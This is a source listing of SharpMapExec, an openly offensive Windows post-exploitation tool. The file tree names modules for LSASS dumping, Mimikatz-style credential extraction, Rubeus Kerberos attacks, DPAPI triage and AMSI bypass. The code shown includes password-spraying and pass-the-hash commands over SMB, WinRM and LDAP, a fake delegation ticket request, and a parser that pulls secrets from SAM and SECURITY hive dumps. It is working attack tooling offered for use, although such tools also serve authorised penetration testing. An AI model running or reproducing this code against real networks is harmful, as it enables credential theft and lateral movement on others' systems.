├── .vs └── SharpMapExec │ └── v16 │ └── .suo ├── LICENSE ├── README.md ├── SharpMapExec.sln ├── SharpMapExec ├── Args │ ├── ArgumentParser.cs │ ├── ArgumentParserResult.cs │ ├── CommandCollection.cs │ └── Info.cs ├── Commands │ ├── ICommand.cs │ ├── KerberosSpray.cs │ ├── KerberosTgtdeleg.cs │ ├── NtlmCim.cs │ ├── NtlmLdap.cs │ ├── NtlmReg32.cs │ ├── NtlmSmb.cs │ ├── NtlmWinrm.cs │ ├── kerberosLdap.cs │ ├── kerberosReg32.cs │ ├── kerberosSmb.cs │ └── kerberosWinrm.cs ├── Helpers │ ├── AmsiFail.cs │ ├── Impersonator.cs │ ├── Jea.cs │ ├── JeaRules.ps1 │ ├── Misc.cs │ ├── PsFunction.cs │ ├── SecurityContext.cs │ └── Tasks.cs ├── Lib │ ├── Cim.cs │ ├── Domain.cs │ ├── Kerberos.cs │ ├── Ntlm.cs │ ├── Reg32.cs │ ├── Scan.cs │ ├── Secrets.cs │ ├── Smb.cs │ └── Wsman.cs ├── Program.cs ├── Projects │ ├── HiveParser │ │ ├── Crypto.cs │ │ ├── LsaSecret.cs │ │ ├── NL_Record.cs │ │ ├── NodeKey.cs │ │ ├── Registry.cs │ │ ├── RegistryHive.cs │ │ └── ValueKey.cs │ ├── MiniDump │ │ ├── Crypto │ │ │ ├── BCrypt.cs │ │ │ └── Crypto.cs │ │ ├── Decryptor │ │ │ ├── Cloudap_.cs │ │ │ ├── Credman.cs │ │ │ ├── Dpapi_.cs │ │ │ ├── KerberosSessions.cs │ │ │ ├── Kerberos_.cs │ │ │ ├── LiveSsp_.cs │ │ │ ├── LogonSessions.cs │ │ │ ├── Msv1_.cs │ │ │ ├── Rdp_.cs │ │ │ ├── Ssp_.cs │ │ │ ├── Tspkg_.cs │ │ │ ├── WDigest_.cs │ │ │ ├── lsadecryptor_lsa_decryptor.cs │ │ │ ├── lsadecryptor_lsa_decryptor_nt5.cs │ │ │ └── lsadecryptor_lsa_decryptor_nt6.cs │ │ ├── Helpers.cs │ │ ├── Program.cs │ │ ├── Streams │ │ │ ├── Directory.cs │ │ │ ├── Header.cs │ │ │ ├── Memory64ListStream.cs │ │ │ ├── Memory86ListStream.cs │ │ │ ├── MinidumpMemory.cs │ │ │ ├── ModuleList.cs │ │ │ ├── Parse.cs │ │ │ └── SystemInfo.cs │ │ └── Templates │ │ │ ├── cloudap_templates.cs │ │ │ ├── credman_templates.cs │ │ │ ├── dpapi_templates.cs │ │ │ ├── kerberos_templates.cs │ │ │ ├── livessp_templates.cs │ │ │ ├── lsa_template_nt6.cs │ │ │ ├── lsa_templates.cs │ │ │ ├── msv_templates.cs │ │ │ ├── rdp_templates.cs │ │ │ ├── ssp_templates.cs │ │ │ ├── tspkg_templates.cs │ │ │ └── wdigest_templates.cs │ ├── Rubeus │ │ ├── Asn1 │ │ │ ├── Asn1Extensions.cs │ │ │ ├── AsnElt.cs │ │ │ ├── AsnException.cs │ │ │ ├── AsnIO.cs │ │ │ └── AsnOID.cs │ │ └── lib │ │ │ ├── Ask.cs │ │ │ ├── Bruteforcer.cs │ │ │ ├── ConsoleTable.cs │ │ │ ├── Crypto.cs │ │ │ ├── Helpers.cs │ │ │ ├── Interop.cs │ │ │ ├── Interop │ │ │ ├── Luid.cs │ │ │ └── NtException.cs │ │ │ ├── KDCKeyAgreement.cs │ │ │ ├── LSA.cs │ │ │ ├── Networking.cs │ │ │ ├── crypto │ │ │ ├── SafeNativeMethods.cs │ │ │ └── dh │ │ │ │ ├── DiffieHellmanKey.cs │ │ │ │ ├── IExchangeKey.cs │ │ │ │ ├── IKeyAgreement.cs │ │ │ │ ├── KeyAgreementAlgorithm.cs │ │ │ │ ├── ManagedDiffieHellman.cs │ │ │ │ ├── ManagedDiffieHellmanOakley14.cs │ │ │ │ ├── ManagedDiffieHellmanOakley2.cs │ │ │ │ └── Oakley.cs │ │ │ ├── krb_structures │ │ │ ├── AP_REQ.cs │ │ │ ├── AS_REP.cs │ │ │ ├── AS_REQ.cs │ │ │ ├── Authenticator.cs │ │ │ ├── AuthorizationData.cs │ │ │ ├── Checksum.cs │ │ │ ├── EncKDCRepPart.cs │ │ │ ├── EncKrbCredPart.cs │ │ │ ├── EncKrbPrivPart.cs │ │ │ ├── EncryptedData.cs │ │ │ ├── EncryptionKey.cs │ │ │ ├── HostAddress.cs │ │ │ ├── KDC_REQ_BODY.cs │ │ │ ├── KERB_AD_RESTRICTION_ENTRY.cs │ │ │ ├── KERB_PA_PAC_REQUEST.cs │ │ │ ├── KRB_CRED.cs │ │ │ ├── KRB_ERROR.cs │ │ │ ├── KRB_PRIV.cs │ │ │ ├── KrbAlgorithmIdentifier.cs │ │ │ ├── KrbAuthPack.cs │ │ │ ├── KrbCredInfo.cs │ │ │ ├── KrbDHRepInfo.cs │ │ │ ├── KrbKDCDHKeyInfo.cs │ │ │ ├── KrbPkAuthenticator.cs │ │ │ ├── KrbSubjectPublicKeyInfo.cs │ │ │ ├── LastReq.cs │ │ │ ├── PA_DATA.cs │ │ │ ├── PA_ENC_TS_ENC.cs │ │ │ ├── PA_FOR_USER.cs │ │ │ ├── PA_PAC_OPTIONS.cs │ │ │ ├── PA_PK_AS_REP.cs │ │ │ ├── PA_PK_AS_REQ.cs │ │ │ ├── PA_S4U_X509_USER.cs │ │ │ ├── PrincipalName.cs │ │ │ ├── S4UUserID.cs │ │ │ ├── TGS_REP.cs │ │ │ ├── TGS_REQ.cs │ │ │ └── Ticket.cs │ │ │ └── math │ │ │ ├── BigInteger.cs │ │ │ ├── ConfidenceFactor.cs │ │ │ ├── NextPrimeFinder.cs │ │ │ ├── PrimalityTest.cs │ │ │ ├── PrimeGeneratorBase.cs │ │ │ └── SequentialSearchPrimeGeneratorBase.cs │ ├── SharpDPAPI │ │ ├── SharpDPAPI.cs │ │ └── lib │ │ │ ├── BigInteger.cs │ │ │ ├── Crypto.cs │ │ │ ├── Dpapi.cs │ │ │ ├── Helpers.cs │ │ │ ├── Interop.cs │ │ │ ├── PBKDF2.cs │ │ │ ├── Triage.cs │ │ │ └── Tuple.cs │ └── SharpKatz │ │ ├── Credential │ │ └── Credential.cs │ │ ├── Crypto │ │ └── BCrypt.cs │ │ ├── Keys.cs │ │ ├── Module │ │ ├── Kerberos.cs │ │ ├── LogonSessions.cs │ │ ├── Msv1.cs │ │ ├── Pth.cs │ │ ├── Ptp.cs │ │ └── Tspkg.cs │ │ ├── OSVersionHelper.cs │ │ ├── Utility.cs │ │ ├── Win32 │ │ ├── CustomLoadLibrary.cs │ │ ├── Natives.cs │ │ └── Syscall.cs │ │ └── WinBuild │ │ ├── IWinBuild.cs │ │ ├── WinBuild1507.cs │ │ ├── WinBuild1511.cs │ │ ├── WinBuild1607.cs │ │ ├── WinBuild1703.cs │ │ ├── WinBuild1803.cs │ │ ├── WinBuild1809.cs │ │ ├── WinBuild1903.cs │ │ └── WinBuild2004.cs ├── Properties │ └── AssemblyInfo.cs ├── SharpMapExec.csproj ├── SharpMapExec.csproj.user └── packages.config ├── images ├── Get-LogonHistory.png ├── delegwalk.png ├── jea.png ├── localadmin.png ├── lsassdump.png ├── mass_assembly.png ├── massexec.png ├── smbvscan.png └── spray+admin.png └── packages ├── DynamicLanguageRuntime.1.3.0 ├── .signature.p7s ├── DynamicLanguageRuntime.1.3.0.nupkg ├── LICENSE ├── README.md └── lib │ ├── net45 │ ├── Microsoft.Dynamic.dll │ ├── Microsoft.Dynamic.xml │ ├── Microsoft.Scripting.Metadata.dll │ ├── Microsoft.Scripting.Metadata.xml │ ├── Microsoft.Scripting.dll │ └── Microsoft.Scripting.xml │ ├── netcoreapp2.1 │ ├── Microsoft.Dynamic.dll │ ├── Microsoft.Dynamic.xml │ ├── Microsoft.Scripting.Metadata.dll │ ├── Microsoft.Scripting.Metadata.xml │ ├── Microsoft.Scripting.dll │ └── Microsoft.Scripting.xml │ ├── netcoreapp3.1 │ ├── Microsoft.Dynamic.dll │ ├── Microsoft.Dynamic.xml │ ├── Microsoft.Scripting.Metadata.dll │ ├── Microsoft.Scripting.Metadata.xml │ ├── Microsoft.Scripting.dll │ └── Microsoft.Scripting.xml │ └── netstandard2.0 │ ├── Microsoft.Dynamic.dll │ ├── Microsoft.Dynamic.xml │ ├── Microsoft.Scripting.Metadata.dll │ ├── Microsoft.Scripting.Metadata.xml │ ├── Microsoft.Scripting.dll │ └── Microsoft.Scripting.xml ├── Microsoft.Management.Infrastructure.4.0.0 ├── .signature.p7s ├── Microsoft.Management.Infrastructure.4.0.0.nupkg └── lib │ └── Microsoft.Management.Infrastructure.dll ├── Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0 ├── .signature.p7s ├── Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0.nupkg └── lib │ └── net4 │ ├── Microsoft.Management.Infrastructure.dll │ ├── Microsoft.PowerShell.Activities.dll │ ├── Microsoft.PowerShell.Activities.xml │ ├── Microsoft.PowerShell.Commands.Diagnostics.dll │ ├── Microsoft.PowerShell.ConsoleHost.dll │ ├── Microsoft.PowerShell.ConsoleHost.xml │ ├── Microsoft.PowerShell.Core.Activities.dll │ ├── Microsoft.PowerShell.Core.Activities.xml │ ├── Microsoft.PowerShell.Diagnostics.Activities.dll │ ├── Microsoft.PowerShell.Diagnostics.Activities.xml │ ├── Microsoft.PowerShell.Editor.dll │ ├── Microsoft.PowerShell.GPowerShell.dll │ ├── Microsoft.PowerShell.GPowerShell.xml │ ├── Microsoft.PowerShell.GraphicalHost.dll │ ├── Microsoft.PowerShell.GraphicalHost.xml │ ├── Microsoft.PowerShell.ISECommon.dll │ ├── Microsoft.PowerShell.ISECommon.xml │ ├── Microsoft.PowerShell.Management.Activities.dll │ ├── Microsoft.PowerShell.Management.Activities.xml │ ├── Microsoft.PowerShell.PSReadLine.dll │ ├── Microsoft.PowerShell.PackageManagement.dll │ ├── Microsoft.PowerShell.Security.Activities.dll │ ├── Microsoft.PowerShell.Security.Activities.xml │ ├── Microsoft.PowerShell.Security.dll │ ├── Microsoft.PowerShell.Security.xml │ ├── Microsoft.PowerShell.Utility.Activities.dll │ ├── Microsoft.PowerShell.Utility.Activities.xml │ ├── Microsoft.PowerShell.Workflow.ServiceCore.xml │ ├── Microsoft.Powershell.Workflow.ServiceCore.dll │ ├── System.Management.Automation.dll │ └── System.Management.Automation.xml ├── System.DirectoryServices.5.0.0 ├── .signature.p7s ├── Icon.png ├── LICENSE.TXT ├── System.DirectoryServices.5.0.0.nupkg ├── THIRD-PARTY-NOTICES.TXT ├── lib │ ├── net45 │ │ └── _._ │ └── netstandard2.0 │ │ ├── System.DirectoryServices.dll │ │ └── System.DirectoryServices.xml ├── ref │ ├── net45 │ │ └── _._ │ └── netstandard2.0 │ │ ├── System.DirectoryServices.dll │ │ └── System.DirectoryServices.xml ├── runtimes │ └── win │ │ └── lib │ │ ├── net45 │ │ └── _._ │ │ └── netcoreapp2.0 │ │ ├── System.DirectoryServices.dll │ │ └── System.DirectoryServices.xml ├── useSharedDesignerContext.txt └── version.txt └── System.ValueTuple.4.5.0 ├── .signature.p7s ├── LICENSE.TXT ├── System.ValueTuple.4.5.0.nupkg ├── THIRD-PARTY-NOTICES.TXT ├── lib ├── MonoAndroid10 │ └── _._ ├── MonoTouch10 │ └── _._ ├── net461 │ ├── System.ValueTuple.dll │ └── System.ValueTuple.xml ├── net47 │ ├── System.ValueTuple.dll │ └── System.ValueTuple.xml ├── netcoreapp2.0 │ └── _._ ├── netstandard1.0 │ ├── System.ValueTuple.dll │ └── System.ValueTuple.xml ├── netstandard2.0 │ └── _._ ├── portable-net40+sl4+win8+wp8 │ ├── System.ValueTuple.dll │ └── System.ValueTuple.xml ├── uap10.0.16299 │ └── _._ ├── xamarinios10 │ └── _._ ├── xamarinmac20 │ └── _._ ├── xamarintvos10 │ └── _._ └── xamarinwatchos10 │ └── _._ ├── ref ├── MonoAndroid10 │ └── _._ ├── MonoTouch10 │ └── _._ ├── net461 │ └── System.ValueTuple.dll ├── net47 │ └── System.ValueTuple.dll ├── netcoreapp2.0 │ └── _._ ├── netstandard2.0 │ └── _._ ├── portable-net40+sl4+win8+wp8 │ └── System.ValueTuple.dll ├── uap10.0.16299 │ └── _._ ├── xamarinios10 │ └── _._ ├── xamarinmac20 │ └── _._ ├── xamarintvos10 │ └── _._ └── xamarinwatchos10 │ └── _._ ├── useSharedDesignerContext.txt └── version.txt /.vs/SharpMapExec/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/.vs/SharpMapExec/v16/.suo -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2020, cube0x0 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /SharpMapExec.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30621.155 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpMapExec", "SharpMapExec\SharpMapExec.csproj", "{BD5220F7-E1FB-41D2-91EC-E4C50C6E9B9F}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {BD5220F7-E1FB-41D2-91EC-E4C50C6E9B9F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {BD5220F7-E1FB-41D2-91EC-E4C50C6E9B9F}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {BD5220F7-E1FB-41D2-91EC-E4C50C6E9B9F}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {BD5220F7-E1FB-41D2-91EC-E4C50C6E9B9F}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {AEA90CDD-BB1D-4538-ADC0-D75E08A995DD} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpMapExec/Args/ArgumentParser.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Diagnostics; 3 | 4 | namespace SharpMapExec.args 5 | { 6 | public static class ArgumentParser 7 | { 8 | public static ArgumentParserResult Parse(IEnumerable args) 9 | { 10 | var arguments = new Dictionary(); 11 | try 12 | { 13 | foreach (var argument in args) 14 | { 15 | var idx = argument.IndexOf(':'); 16 | if (idx > 0) 17 | arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); 18 | else 19 | arguments[argument] = string.Empty; 20 | } 21 | 22 | return ArgumentParserResult.Success(arguments); 23 | } 24 | catch (System.Exception ex) 25 | { 26 | Debug.WriteLine(ex.Message); 27 | return ArgumentParserResult.Failure(); 28 | } 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /SharpMapExec/Args/ArgumentParserResult.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace SharpMapExec.args 4 | { 5 | public class ArgumentParserResult 6 | { 7 | public bool ParsedOk { get; } 8 | public Dictionary Arguments { get; } 9 | 10 | private ArgumentParserResult(bool parsedOk, Dictionary arguments) 11 | { 12 | ParsedOk = parsedOk; 13 | Arguments = arguments; 14 | } 15 | 16 | public static ArgumentParserResult Success(Dictionary arguments) 17 | => new ArgumentParserResult(true, arguments); 18 | 19 | public static ArgumentParserResult Failure() 20 | => new ArgumentParserResult(false, null); 21 | } 22 | } -------------------------------------------------------------------------------- /SharpMapExec/Args/CommandCollection.cs: -------------------------------------------------------------------------------- 1 | using SharpMapExec.Commands; 2 | using System; 3 | using System.Collections.Generic; 4 | 5 | namespace SharpMapExec.args 6 | { 7 | public class CommandCollection 8 | { 9 | private readonly Dictionary> _availableCommands = new Dictionary>(); 10 | 11 | // To Add A New Command: 12 | // 1. Create your command class in the Commands Folder 13 | // 2. That class must have a CommandName static property that has the Command's name 14 | // and must also Implement the ICommand interface 15 | // 3. Put the code that does the work into the Execute() method 16 | // 4. Add an entry to the _availableCommands dictionary in the Constructor below. 17 | 18 | public CommandCollection() 19 | { 20 | _availableCommands.Add(kerbspray.CommandName, () => new kerbspray()); 21 | _availableCommands.Add(kerberosSmb.CommandName, () => new kerberosSmb()); 22 | _availableCommands.Add(kerberosWinrm.CommandName, () => new kerberosWinrm()); 23 | _availableCommands.Add(kerberosReg32.CommandName, () => new kerberosReg32()); 24 | _availableCommands.Add(kerberosLdap.CommandName, () => new kerberosLdap()); 25 | _availableCommands.Add(NtlmWinrm.CommandName, () => new NtlmWinrm()); 26 | _availableCommands.Add(NtlmSmb.CommandName, () => new NtlmSmb()); 27 | _availableCommands.Add(NtlmCim.CommandName, () => new NtlmCim()); 28 | _availableCommands.Add(NtlmReg32.CommandName, () => new NtlmReg32()); 29 | _availableCommands.Add(NtlmLdap.CommandName, () => new NtlmLdap()); 30 | } 31 | 32 | public bool ExecuteCommand(string commandName, Dictionary arguments) 33 | { 34 | bool commandWasFound; 35 | 36 | if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false) 37 | commandWasFound = false; 38 | else 39 | { 40 | // Create the command object 41 | var command = _availableCommands[commandName].Invoke(); 42 | // and execute it with the arguments from the command line 43 | command.Execute(arguments); 44 | commandWasFound = true; 45 | } 46 | 47 | return commandWasFound; 48 | } 49 | } 50 | } -------------------------------------------------------------------------------- /SharpMapExec/Commands/ICommand.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace SharpMapExec.Commands 4 | { 5 | public interface ICommand 6 | { 7 | void Execute(Dictionary arguments); 8 | } 9 | } -------------------------------------------------------------------------------- /SharpMapExec/Commands/KerberosTgtdeleg.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using Rubeus; 4 | using Rubeus.lib.Interop; 5 | 6 | namespace SharpMapExec.Commands 7 | { 8 | public class Tgtdeleg : ICommand 9 | { 10 | public static string CommandName => "tgtdeleg"; 11 | 12 | public void Execute(Dictionary arguments) 13 | { 14 | Console.WriteLine("\r\n[*] Action: Request Fake Delegation TGT (current user)\r\n"); 15 | 16 | if (arguments.ContainsKey("/target")) 17 | { 18 | byte[] blah = LSA.RequestFakeDelegTicket(arguments["/target"]); 19 | } 20 | else 21 | { 22 | byte[] blah = LSA.RequestFakeDelegTicket(); 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /SharpMapExec/Commands/NtlmSmb.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using static SharpMapExec.Helpers.SecurityContext; 5 | 6 | namespace SharpMapExec.Commands 7 | { 8 | public class NtlmSmb : ICommand 9 | { 10 | public static string CommandName => "ntlmsmb"; 11 | 12 | public void Execute(Dictionary arguments) 13 | { 14 | string[] user; 15 | string domain = ""; 16 | string path = ""; 17 | string destination = ""; 18 | string[] computernames; 19 | string[] hashes = null; 20 | string[] passwords = null; 21 | string module = ""; 22 | string moduleargument = ""; 23 | List flags = new List(); 24 | 25 | if (arguments.ContainsKey("/m")) 26 | { 27 | module = arguments["/m"]; 28 | } 29 | if (arguments.ContainsKey("/module")) 30 | { 31 | module = arguments["/module"]; 32 | } 33 | if (arguments.ContainsKey("/a")) 34 | { 35 | moduleargument = arguments["/a"]; 36 | } 37 | if (arguments.ContainsKey("/argument")) 38 | { 39 | moduleargument = arguments["/argument"]; 40 | } 41 | 42 | 43 | // 44 | if (arguments.ContainsKey("/domain")) 45 | { 46 | domain = arguments["/domain"]; 47 | } 48 | else 49 | { 50 | domain = "."; 51 | } 52 | 53 | if (arguments.ContainsKey("/user")) 54 | { 55 | if (File.Exists(arguments["/user"])) 56 | { 57 | user = File.ReadAllLines(arguments["/user"]); 58 | } 59 | else 60 | { 61 | string[] parts = arguments["/user"].Split('\\'); 62 | if (parts.Length == 2) 63 | { 64 | domain = parts[0]; 65 | user = parts[1].Split(','); 66 | } 67 | else 68 | { 69 | user = arguments["/user"].Split(','); 70 | } 71 | } 72 | } 73 | else 74 | { 75 | Console.WriteLine("[-] /user must be supplied!"); 76 | return; 77 | } 78 | 79 | if (arguments.ContainsKey("/computername")) 80 | { 81 | if (File.Exists(arguments["/computername"])) 82 | { 83 | computernames = File.ReadAllLines(arguments["/computername"]); 84 | } 85 | else 86 | { 87 | computernames = arguments["/computername"].Split(','); 88 | } 89 | } 90 | else 91 | { 92 | Console.WriteLine("[-] /computername must be supplied!"); 93 | return; 94 | } 95 | 96 | if (arguments.ContainsKey("/password")) 97 | { 98 | if (File.Exists(arguments["/password"])) 99 | { 100 | passwords = File.ReadAllLines(arguments["/password"]); 101 | } 102 | else 103 | { 104 | passwords = arguments["/password"].Split(','); 105 | } 106 | } 107 | else if (arguments.ContainsKey("/ntlm")) 108 | { 109 | if (File.Exists(arguments["/ntlm"])) 110 | { 111 | hashes = File.ReadAllLines(arguments["/ntlm"]); 112 | } 113 | else 114 | { 115 | hashes = arguments["/ntlm"].Split(','); 116 | } 117 | } 118 | else 119 | { 120 | Console.WriteLine("[-] /password or /ntlm must be supplied"); 121 | return; 122 | } 123 | Lib.ntlm.Ntlm(user, domain, passwords, hashes, computernames, "", module, moduleargument, path, destination, flags, "smb"); 124 | } 125 | } 126 | } -------------------------------------------------------------------------------- /SharpMapExec/Helpers/Misc.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.IO.Compression; 4 | using System.Linq; 5 | using System.Net.Sockets; 6 | using System.Security; 7 | using System.Text; 8 | 9 | namespace SharpMapExec.Helpers 10 | { 11 | internal class Misc 12 | { 13 | public static string Compress(byte[] data) 14 | { 15 | using (var compressedStream = new MemoryStream()) 16 | using (var zipStream = new GZipStream(compressedStream, CompressionMode.Compress)) 17 | { 18 | zipStream.Write(data, 0, data.Length); 19 | zipStream.Close(); 20 | return Convert.ToBase64String(compressedStream.ToArray()); 21 | } 22 | } 23 | 24 | public static byte[] Decompress(byte[] data) 25 | { 26 | using (var compressedStream = new MemoryStream(data)) 27 | using (var zipStream = new GZipStream(compressedStream, CompressionMode.Decompress)) 28 | using (var resultStream = new MemoryStream()) 29 | { 30 | zipStream.CopyTo(resultStream); 31 | return resultStream.ToArray(); 32 | } 33 | } 34 | 35 | public static bool CheckHostPort(string hostname, int port, int PortScanTimeout = 2000) 36 | { 37 | using (var client = new TcpClient()) 38 | { 39 | try 40 | { 41 | var result = client.BeginConnect(hostname, port, null, null); 42 | var success = result.AsyncWaitHandle.WaitOne(PortScanTimeout); 43 | if (!success) return false; 44 | client.EndConnect(result); 45 | } 46 | catch 47 | { 48 | return false; 49 | } 50 | return true; 51 | } 52 | } 53 | 54 | public static string CompressData(string data) 55 | { 56 | byte[] bytes = Encoding.ASCII.GetBytes(data); 57 | using (var msi = new MemoryStream(bytes)) 58 | using (var mso = new MemoryStream()) 59 | { 60 | using (var gs = new GZipStream(mso, CompressionMode.Compress)) 61 | { 62 | msi.CopyTo(gs); 63 | } 64 | return Convert.ToBase64String(mso.ToArray()); 65 | } 66 | } 67 | 68 | public static void PrintByteArray(byte[] bytes) 69 | { 70 | var sb = new StringBuilder("new byte[] { "); 71 | foreach (var b in bytes) 72 | { 73 | sb.Append(b + ", "); 74 | } 75 | sb.Append("}"); 76 | Console.WriteLine(sb.ToString()); 77 | } 78 | 79 | public static byte[] HexToByteArray(string hex) 80 | { 81 | return Enumerable.Range(0, hex.Length) 82 | .Where(x => x % 2 == 0) 83 | .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) 84 | .ToArray(); 85 | } 86 | 87 | public static SecureString CreateSecuredString(string pw) 88 | { 89 | SecureString secureString = new SecureString(); 90 | if (string.IsNullOrEmpty(pw)) 91 | return null; 92 | foreach (char c in pw) 93 | secureString.AppendChar(c); 94 | return secureString; 95 | } 96 | } 97 | } -------------------------------------------------------------------------------- /SharpMapExec/Helpers/Tasks.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Linq; 3 | using System.Threading; 4 | using System.Threading.Tasks; 5 | 6 | namespace SharpMapExec.Helpers 7 | { 8 | public static class Tasks 9 | { 10 | /// 11 | /// Starts the given tasks and waits for them to complete. This will run, at most, the specified number of tasks in parallel. 12 | /// NOTE: If one of the given tasks has already been started, an exception will be thrown. 13 | /// 14 | /// The tasks to run. 15 | /// The maximum number of tasks to run in parallel. 16 | /// The cancellation token. 17 | public static void StartAndWaitAllThrottled(IEnumerable tasksToRun, int maxTasksToRunInParallel, CancellationToken cancellationToken = new CancellationToken()) 18 | { 19 | StartAndWaitAllThrottled(tasksToRun, maxTasksToRunInParallel, -1, cancellationToken); 20 | } 21 | 22 | /// 23 | /// Starts the given tasks and waits for them to complete. This will run, at most, the specified number of tasks in parallel. 24 | /// NOTE: If one of the given tasks has already been started, an exception will be thrown. 25 | /// 26 | /// The tasks to run. 27 | /// The maximum number of tasks to run in parallel. 28 | /// The maximum milliseconds we should allow the max tasks to run in parallel before allowing another task to start. Specify -1 to wait indefinitely. 29 | /// The cancellation token. 30 | public static void StartAndWaitAllThrottled(IEnumerable tasksToRun, int maxTasksToRunInParallel, int timeoutInMilliseconds, CancellationToken cancellationToken = new CancellationToken()) 31 | { 32 | // Convert to a list of tasks so that we don't enumerate over it multiple times needlessly. 33 | var tasks = tasksToRun.ToList(); 34 | 35 | using (var throttler = new SemaphoreSlim(maxTasksToRunInParallel)) 36 | { 37 | var postTaskTasks = new List(); 38 | 39 | // Have each task notify the throttler when it completes so that it decrements the number of tasks currently running. 40 | tasks.ForEach(t => postTaskTasks.Add(t.ContinueWith(tsk => throttler.Release()))); 41 | 42 | // Start running each task. 43 | foreach (var task in tasks) 44 | { 45 | // Increment the number of tasks currently running and wait if too many are running. 46 | throttler.Wait(timeoutInMilliseconds, cancellationToken); 47 | 48 | cancellationToken.ThrowIfCancellationRequested(); 49 | task.Start(); 50 | } 51 | 52 | // Wait for all of the provided tasks to complete. 53 | // We wait on the list of "post" tasks instead of the original tasks, otherwise there is a potential race condition where the throttler's using block is exited before some Tasks have had their "post" action completed, which references the throttler, resulting in an exception due to accessing a disposed object. 54 | Task.WaitAll(postTaskTasks.ToArray(), cancellationToken); 55 | } 56 | } 57 | } 58 | } -------------------------------------------------------------------------------- /SharpMapExec/Lib/Secrets.cs: -------------------------------------------------------------------------------- 1 | using SharpMapExec.HiveParser; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | using static SharpMapExec.HiveParser.Registry; 7 | 8 | namespace SharpMapExec.Lib 9 | { 10 | internal class Secrets 11 | { 12 | public static void ParseSecrets(string sampath, string systempath, string securitypath, List machineMasterKeys = null, List userMasterKeys = null, string credDirs = null, string vaultDirs = null, string certDirs = null) 13 | { 14 | StringBuilder sb = new StringBuilder(); 15 | byte[] bootKey = new byte[16]; 16 | 17 | RegistryHive system = RegistryHive.ImportHiveDump(systempath); 18 | if (system != null) 19 | { 20 | bootKey = GetBootKey(system); 21 | if (bootKey == null) 22 | { 23 | sb.AppendLine("[-] Failed to parse bootkey"); 24 | return; 25 | } 26 | } 27 | else 28 | { 29 | sb.AppendLine("[-] Unable to access to SYSTEM dump file"); 30 | } 31 | 32 | RegistryHive sam = RegistryHive.ImportHiveDump(sampath); 33 | if (sam != null) 34 | { 35 | ParseSam(bootKey, sam).ForEach(item => sb.Append(item + Environment.NewLine)); 36 | } 37 | else 38 | { 39 | sb.AppendLine("[-] Unable to access to SAM dump file"); 40 | } 41 | 42 | RegistryHive security = RegistryHive.ImportHiveDump(securitypath); 43 | if (security != null) 44 | { 45 | ParseLsa(security, bootKey, system).ForEach(item => sb.Append(item + Environment.NewLine)); 46 | } 47 | else 48 | { 49 | 